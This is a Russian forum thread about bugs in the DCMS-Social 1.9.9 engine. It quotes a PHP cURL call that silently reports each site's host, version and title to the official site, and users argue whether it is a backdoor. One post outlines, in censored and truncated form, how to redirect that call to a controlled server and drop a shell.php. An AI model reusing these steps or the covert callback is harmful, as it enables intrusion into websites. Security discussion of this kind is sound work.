Тема: Напишите все баги и уязвимости dcms social 1.9.9 (Движок DCMS-Social/Баги/обновления движка) biket (22 Oct 2019 в 20:46) Оригинальная версия 1.9.9 залита на GitHub https://github.com/dcms-social/dcms-social Нужны тестеры для проверки работы на php 7 с помощью специальной библиотеки с минимальными изменениями в движке berserk2014 (23 Oct 2019 в 14:06) Вап умер же. Давай сверСтрай на бустрапе и веб дизайн.. [i]Добавлено:[/i] Дизайн 2000-х , честно. Юрий (23 Oct 2019 в 15:13) поздно, вам Искателя уже не догнать biket (23 Oct 2019 в 15:15) Юрий, Никто не собирается с ним соревноваться [i]Добавлено:[/i] berserk2014, А ты сможешь сверстать? berserk2014 (23 Oct 2019 в 17:01) biket, Да Энмеркар (25 Oct 2019 в 01:38) :) Сибирский (25 Oct 2019 в 07:47) --Цитата-- Юрий (23 Oct 2019 в 15:13): поздно, вам Искателя уже не догнать ---------- Юрий, да ладно :) berserk2014 (25 Oct 2019 в 20:11) Сибирский, Можно и обогнать, было бы желание. Jvk35 (27 Oct 2019 в 10:09) Если mysqli переводить есть спец программа там только обёртку переписать и пару строчек переписать и будет php 7 [i]Добавлено:[/i] А вот и первый баг) biket (27 Oct 2019 в 15:46) Jvk35, Это делается по другому через создание несуществующих функций mysql на php 7. Соответственно на этой версии работает через mysqli, а на php 5 через mysql. В итоге в файлах изменения не нужны. Jvk35 (27 Oct 2019 в 17:21) biket, зачем костыли то? biket (27 Oct 2019 в 18:03) Jvk35, Для совместимости Self-Lover (28 Oct 2019 в 20:46) Юрий, а что у Искателя за проект сейчас? Давно не был, очень интересно. Юрий (29 Oct 2019 в 12:57) Self-Lover, dcms-social только вместо RU пиши COM ZAN0ZA (2 Nov 2019 в 16:45) А вы в курсе что использование echo операторов перед head() ; вызывает конфликт и страница не обрабатыавается браузером? Если да, то почему вставили, если нет то нужно исправить. :) извиняюсь за вмешательство. Энмеркар (2 Nov 2019 в 19:03) Честно без обид но там галимый шлак залит,, ошибок куча начиная с установки [img]http://writervall.ru/wp-content/uploads/2017/09/galimyiy-ili-golimyiy-1.jpg[/img] Ну а пхп 7 нужно.указ. biket (2 Nov 2019 в 22:34) Энмеркар, Так напиши эти ошибки Энмеркар (2 Nov 2019 в 22:45) biket, Так не считая что папок нет,, база криво не вся стала ошибка в админке вылезла,, дальше я даже и не стал юзать.пардон. но офку отсюда я юзаю всё ровно и гладко с установкой:) biket (2 Nov 2019 в 22:48) Энмеркар, Опять тоже самое - база не поставилась, ошибки... снес и ноль конкретики :) База встает нормально, если только на Опен Сервере не включена строгая проверка в Mysql (а в последней версии именно так). [i]Добавлено:[/i] И на гитхабе как раз залита офка с сайта, а ты говоришь юзаешь ее :) [i]Добавлено:[/i] ZAN0ZA, Здесь у функции head свое предназначение Энмеркар (2 Nov 2019 в 23:03) biket, [img]http://dcms-social.ru/foto/foto640/7957.jpg[/img] ответ на юзание,,[img]http://dcms-social.ru/foto/foto640/7958.jpg[/img] Ответ на счёт папок и сейчас попробую сново установить с нуля и по юзать,, я всегда за любой кипишь кроме войны и голодовки:) biket (2 Nov 2019 в 23:22) Энмеркар, Теперь вижу. Оказывается, Github не заливает пустые папки. Энмеркар (2 Nov 2019 в 23:32) biket, Сейчас ещё скрины скину что я сейчас вижу у себя после новой установки [i]Добавлено:[/i] biket, [img]http://dcms-social.ru/foto/foto640/7959.jpg[/img]http://dcms-social.ru/foto/foto640/7960.jpg[img][/img][img]http://dcms-social.ru/foto/foto640/7961.jpg[/img][img]http://dcms-social.ru/foto/foto640/7962.jpg[/img] [i]Добавлено:[/i] biket, У меня в фотках пока четыре скрина,, там главная полностью пустая в ручную только пункты теперь можно заносить [i]Добавлено:[/i] При отправки на стене поста ошибка в info.php on line 114 :) Notice: Undefined variable: post in /home/i/i97730ih/i97730ih.beget.tech/public_html/info.php on line 114 [i]Добавлено:[/i] Каталог смайлов пуст,, а в папки они есть biket (2 Nov 2019 в 23:55) Энмеркар, Первый скрин из-за mysql, еще админ может не создаваться. Энмеркар (3 Nov 2019 в 00:04) --Цитата-- biket (2 Nov 2019 в 23:55): Энмеркар, Первый скрин из-за mysql, еще админ может не создаваться. ---------- biket, Ну да криво база встаёт и за этого и косяков много,, в гостевой отдельный пост нельзя удалить иконка адвину не видна biket (3 Nov 2019 в 00:05) Сейчас попытаюсь исправить то, о чем ты сообщил Энмеркар (3 Nov 2019 в 00:06) --Цитата-- biket (2 Nov 2019 в 23:55): Энмеркар, Первый скрин из-за mysql, еще админ может не создаваться. ---------- biket, Отсюда я думаю офку надо брать и на ней винтить,, а так я за семёрку и помощь в тестах и если что в коде biket (3 Nov 2019 в 00:13) Энмеркар, Копию dcms-social? Энмеркар (3 Nov 2019 в 00:25) --Цитата-- biket (3 Nov 2019 в 00:13): Энмеркар, Копию dcms-social? ---------- biket, Ну я раз 100 её ставил она нормик встаёт,, а эта 90 таблиц итог таков,, пока эти косяки исправлять время в пустую потрачено будет,, а там только баги и за не достатка внимательности или же усталости в большенстве Энмеркар (3 Nov 2019 в 00:30) biket, Кстати а тут первый социал есть который без иконок был совместно написанный? biket (3 Nov 2019 в 00:46) Энмеркар, Так я же говорю. На гитхабе скачана версия отсюда и залита туда. Кроме пустых папок, так как он их проигнорил. ZAN0ZA (3 Nov 2019 в 01:15) biket, htaccess надо было напихать в папки, или права на запись убрать. С правами 750 папки не удалятся. Энмеркар (3 Nov 2019 в 01:33) ZAN0ZA, Верно подметила.во. biket (3 Nov 2019 в 02:28) --Цитата-- Энмеркар (3 Nov 2019 в 00:30): biket, Кстати а тут первый социал есть который без иконок был совместно написанный? ---------- Энмеркар, Я не знаю какая это версия, но должна здесь где-то быть [i]Добавлено:[/i] ZAN0ZA, Не знал. Про htaccess потом додумался :) biket (3 Nov 2019 в 03:08) --Цитата-- Энмеркар (2 Nov 2019 в 23:32): biket, Сейчас ещё скрины скину что я сейчас вижу у себя после новой установки [i]Добавлено:[/i] biket, [img]http://dcms-social.ru/foto/foto640/7959.jpg[/img]http://dcms-social.ru/foto/foto640/7960.jpg[img][/img][img]http://dcms-social.ru/foto/foto640/7961.jpg[/img][img]http://dcms-social.ru/foto/foto640/7962.jpg[/img] [i]Добавлено:[/i] biket, У меня в фотках пока четыре скрина,, там главная полностью пустая в ручную только пункты теперь можно заносить [i]Добавлено:[/i] При отправки на стене поста ошибка в info.php on line 114 :) Notice: Undefined variable: post in /home/i/i97730ih/i97730ih.beget.tech/public_html/info.php on line 114 [i]Добавлено:[/i] Каталог смайлов пуст,, а в папки они есть ---------- Энмеркар, Две ошибки исправил https://github.com/dcms-social/dcms-social/commit/e8d7ea83cb2f3078ab35501a7627c768e55a4761 Инсталляция на бегете у меня идеально прошла. А про фото напиши подробнее. Энмеркар (3 Nov 2019 в 09:22) biket, Кстати там можно ещё и чужие статусы удалять,, ошибка незначительная,, но некоторые пользуются этим:) biket (3 Nov 2019 в 09:32) Энмеркар, Это уже было исправлено ;) kantry (3 Nov 2019 в 10:55) biket, PHP Warning: mysql_real_escape_string(): A link to the server could not be established in /home/ua0sqq/domains/dcms-social.l/sys/inc/sess.php on line 4 PHP Warning: mysql_real_escape_string(): A link to the server could not be established in /home/ua0sqq/domains/dcms-social.l/err.php on line 115 Короткие теги php тоже надо убирать. И то что на картинках надо исправить, права 777 на папки, там ни к чему. И вторая картинка, это где то в sys/inc/user.php есть запрос на офф сайт к несуществующему файлу. biket (3 Nov 2019 в 11:03) kantry, Почему короткие теги убрать? Запрос к офсайту уже исправил. Там было дело не в отсутствии файла, а в невозможности передачи переменной с содержанием пробела. kantry (3 Nov 2019 в 12:38) biket, Запрос в fnc.php(я просто на память ошибся) там некоторые вещи, пугают некоторых параноиков безопастности)) <?php if (function_exists(\'curl_init\')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, \'http://dcms-social.ru/curl.php?site=\' . $_SERVER[\'HTTP_HOST\'] . \'&version=\' . $set[\'dcms_version\'] . \'&title=\' . $set[\'title\']); // $data = curl_exec($ch); // не нужная строчка)) curl_close($ch);} ?> По поводу тегов, потому что short_open_tag не на всех серверах включен. По умолчанию он выключен в php. biket (3 Nov 2019 в 13:08) kantry, $set[\'title\'] содержит заголовок сайта в котором присутствует пробел и из-за этого curl не работал ZAN0ZA (3 Nov 2019 в 14:54) kantry, параноиков? Это блекдор называется между прочим. Есть причины испугаться. Энмеркар (3 Nov 2019 в 15:34) ZAN0ZA, А я её заместо крона использую файл один запускаю каждые сутки:) ZAN0ZA (3 Nov 2019 в 15:42) Энмеркар, а заместо крона крон использовать не пробовал? XD Энмеркар (3 Nov 2019 в 15:48) ZAN0ZA, А зачем мне это.дум.,, взаимно просто и идеально вышло.указ. одним словом волков бояться в лес не ходи тогда:) ZAN0ZA (3 Nov 2019 в 15:51) Энмеркар, хозяин-барин. Тут не поспоришь каждому свое. Вот я боюсь вдруг по снансу однажды \"нежданчик\" прилетит. .. Энмеркар (3 Nov 2019 в 15:55) ZAN0ZA, Так вперёд дерзай,, на то и функция которую он запускает,, весь бекап сайта на яндекс диск уходит.указ. Saint (3 Nov 2019 в 21:39) --Цитата-- ZAN0ZA (3 Nov 2019 в 14:54): kantry, параноиков? Это блекдор называется между прочим. Есть причины испугаться. ---------- ZAN0ZA, ещё один человек пишущий чушь о бекДОРе . и я догадываюсь откуда ноги растут . нету тут бекдора и не когда ни было .я вам говорю как человек ,который первый узнал о наличии этого файла, и видел его функционал в деле . мне кажется идиотизм называть сломанный curl запрос бекдором . и без этого файла украсть доступ можно ,к тому же куда менее заметно . я думаю что мне реально врятле кто-то докажет что данным файлом было что-то украдено или что можно что-то украсть раз в сутки 1 запросом ,кроме достоинства)) biket (3 Nov 2019 в 23:08) Если кому интересно, то согласно данным, Dcms-Social был установлен на 27 тысячи сайтах ZAN0ZA (3 Nov 2019 в 23:42) Saint, я незнаю движка. Да это так. Я незнаю его, \"болезни\" но я знаю что может курл сеанс без ограничения. :) ZAN0ZA (3 Nov 2019 в 23:43) Saint, блекдоре. Черная дверь. ZAN0ZA (3 Nov 2019 в 23:46) biket, мощьно. Правда. Тот же форум sandy (самый популюоярный на руби) имел около тысячи. DoR (4 Nov 2019 в 00:44) Энмеркар, Привет. CURL не более чем находиться в области видимости крона... ( удаляй, на работу крона не влияет ) // --- Девочка ZANOZA права. - Уже была тема, откричались картонные головы. - Уже случился мини гайд! После чего, приуныли, да рассосались на побыстрее... // --- Смотришь, а по гитхабам - > /sys/inc/fnc.php -> curl() <-> ( было и нет ) // --- Получается... - Левой рукой я сам параною, а правой обвиняю в этом других. *И дело не в curl, а как он написан. - EXEC тоже жутко полезна, но смотря в каких руках! Удаляй и не думай...)) Энмеркар (4 Nov 2019 в 02:29) DoR, Привет я итак его подрезал пока,, у меня просто на него свои планы,, сейчас просто немного кодом занят Энмеркар (4 Nov 2019 в 02:53) [url=https://ruseller.com/lessons.php?id=1187]:)[/url] kantry (4 Nov 2019 в 08:55) ZAN0ZA, при чем тут, чёрная, белая? Там вон ниже уже один из параноиков подошел:-) Там просто $data не нужен. А сам \"бекдор\" ведёт на офф сайт, с какой целью, Бикет пусть озвучит:-) kantry (4 Nov 2019 в 08:57) DoR, я убрал отнюдь не потому что твоих домыслов наслушался, а потому что ссылка вела на 404 ошибку, ну и нахер само собой она не надо.хз. ZAN0ZA (4 Nov 2019 в 10:24) Я небуду лезть глубоко в палемику. Дабы не окрестили параноиком. Но скажу что куда бы не вел курл это фитиль пороховой бочки об который все местные невольно тушат окурки кретикуя это ядро. waphack (4 Nov 2019 в 14:02) Вот такая информация есть :) Данный обзор, во избежания проблем предоставлен кратко и урезанно В данном обзоре, скрыты и заменены некие детали, по указанной ниже причине. Вопросы где же оно, как взломать другой сайт, будут игнорироваться. Данный обзор создан, для наглядности уязвимости, чем уберечь ваш сайт а не взломать другой! Распаковуем архив в корень, появляется папка curl 1) Открываем в файловом менеджере файл /curl/index.php Находим curl_setopt($ch, CURLOPT_URL, \'http://адрес сайта/curl.php?site=\' . $_SERVER[\'HTTP_HOST\'] . \'&version=\' . $set[\'dcms_version\'] . \'&title=\' . $set[\'title\']); И заменяем надпись - адрес сайта на свой 2) Открываем в браузере файл include.php Вот так адрес вашего сайта/curl/include.php 3) Возвращаемся в папку curl И если видим появление файла shell.php то расширение curl На вашем хостинге установлено, всё работает. 4) Удаляем файл shell.php /*----------Проверяем работу через 80 порт-----------*/ 5) Файл curl.php переносим на любой иной сайт, чем имитируем Подключение к сайту dcms-social.ru 6) в запросе curl_setopt($ch, CURLOPT_URL, \'http://уже указанный адрес сайта/curl.php?site=\' . $_SERVER[\'HTTP_HOST\'] . \'&version=\' . $set[\'dcms_version\'] . \'&title=\' . $set[\'title\']); Снова меняем но уже указанный адрес сайта на новый, а так же путь куда переместили файл curl.php Например, если поместили в корень сайта wapfa.su То делаем так curl_setopt($ch, CURLOPT_URL, \'http://wapfa.su/curl.php?site=\' . $_SERVER[\'HTTP_HOST\'] . \'&version=\' . $set[\'dcms_version\'] . \'&title=\' . $set[\'title\']); Если поместили файл curl.php в папку /curl/ То указываем и её curl_setopt($ch, CURLOPT_URL, \'http://wapfa.su/curl/curl.php?site=\' . $_SERVER[\'HTTP_HOST\'] . \'&ve biket (4 Nov 2019 в 15:32) waphack, Чтобы это сделать - нужен доступ к сайту, если хакер его получил, то уже не важно - есть этот код или нет DoR (4 Nov 2019 в 16:39) kantry, Нет, это он не быстро едет! *Просто низенько летит! // --- Как админ мастерам. - Это был не взлом! - Это я скрипт так написал, *просто ( я в домике ) Ну а что я? Железный аргумент! // --- Один мой друг... - Да ну! Что бы через обычные $_GET шелл залить?! Переубедил, но только потому, что мне было надо! А сейчас мне не надо, надо было - гайд писал. - ( с которым ты кстати согласился ) Изволил передумать? // --- Понимаю, неудобная позиция: у себя убрал, Бикету насоветовал... И с параноей, не вяжется хоть убей! ( то ли я умный, то ли красивый ) Предлагаю следующее... Как говорит biket - Иди лучше делом займись...)) DoR (4 Nov 2019 в 16:40) Энмеркар, Вот и правильно, вот молодец! И не слушай картоно - головых! // --- У них в коде, просто лишний сток - ( радует что не хромосома ) То как Толик Мойдадыр. - Говорит - я тебя не боюсь! Но хрен ты меня догонишь...)) biket (4 Nov 2019 в 17:26) waphack, https://github.com/dcms-social/dcms-social/commit/82142e66ef775bf47039d8b79754ca4ba734b55b kantry (5 Nov 2019 в 09:26) --Цитата-- ZAN0ZA (4 Nov 2019 в 10:24): Я небуду лезть глубоко в палемику. Дабы не окрестили параноиком. Но скажу что куда бы не вел курл это фитиль пороховой бочки об который все местные невольно тушат окурки кретикуя это ядро. ---------- ZAN0ZA, это и есть паранойя, при чем не обоснованная)) Что то всю жизнь курлом пользуюсь, и не разу неудобств не испытывал. kantry (5 Nov 2019 в 09:35) DoR, ты бы перешел с эзопова языка, на общечеловеческий. А то понимать можно двояко)) Повторюсь, конкретно этот кусок кода АБСОЛЮТНО безопасен, в конкретном движке. Другое дело что он может какую то статистику передавать, там домен, ай-пи сайт, и не более. П.С. По поводу удали, или не удалил, я не разу и не писал что этот огрызок кода необходим в движке, хотя бы потому что, ваятели этого чуда, до сих помалкивают - а зачем все таки нужен этот запрос. biket (5 Nov 2019 в 10:24) kantry, ждем ответ Искателя :) Я не убираю, потому что мне интересно исправить код на безопасный, а не тупо удалять его. Ну и плюс статистика, пользуются ли движком еще или нет. Сибирский (5 Nov 2019 в 10:55) --Цитата-- biket (5 Nov 2019 в 10:24): kantry, ждем ответ Искателя :) Я не убираю, потому что мне интересно исправить код на безопасный, а не тупо удалять его. Ну и плюс статистика, пользуются ли движком еще или нет. ---------- biket, кстати для этого можно сделать этот запрос из админки а не при каждом обновлении посылать. Плюс прикрутит возврат новостей с этим запросом, новые модули, исправления, новости движка, и показывать админам в админке :) Будет лучше. И кстати таймаут поставить в настройки cURL что бы не было ошибки то )) biket (5 Nov 2019 в 11:10) Сибирский, Можешь начинать писать код этого :) Сибирский (5 Nov 2019 в 11:15) biket, в принципе могу, но я так уже обленился перейдя на ООП потому вопрос сразу, если я введу элементы своего ядра ООП это не будет нарушением традиций ))) biket (5 Nov 2019 в 11:18) Сибирский, Будет. Только говнокод :) Сибирский (5 Nov 2019 в 11:20) biket, ну тогда вы уж сами :) kantry (5 Nov 2019 в 11:28) biket, что бы код не плодил параноиков, надо $data = curl_exec($ch); удалить и все. Ну и как Сибирский написал, что бы постоянно не долбить по твоему серверу, сделать ограничение на один запрос. Напр. файл какой новый записать(или в $set), если есть то запрос больше не делать. DoR (5 Nov 2019 в 17:06) kantry, Золотая рыбка вечно счастлива, почему? Память в аккурат на круг аквариума - Бесконечно новый мир! Ты бы это прекращал, глядишь и посты не казались эзоповскими // --- Напоминаю... Я тебя остановил на - А почему только командами, тут же можно... - Вспомнил? Вот и молодец! И не стоит рассказывать про безопасные запятые и точки. О нём не стоит говорить вообще, с ним что то делать надо. // --- Хлопнул посты, Сибирский дело говорит! *Будет удобно и клёво. Нужна новость? Да пожалуйста! ( вот тебе и стата ) У тебя параноя? Вот от сюда и до сюда - удаляй! - ( или кнопка ) - Всё понятно, прозрачно, а Бикет молодец! // --- И желательно по ключу через цокеты, иначе что он будет делать если кину лям?! - Развивайте мысль, и хорош в мою сторону параноить, подбирай слова! Надеюсь доступно изложил, ага...)) biket (28 Dec 2019 в 22:40) test Источник: http://www.dcms-social.ru/forum/13/3/63094/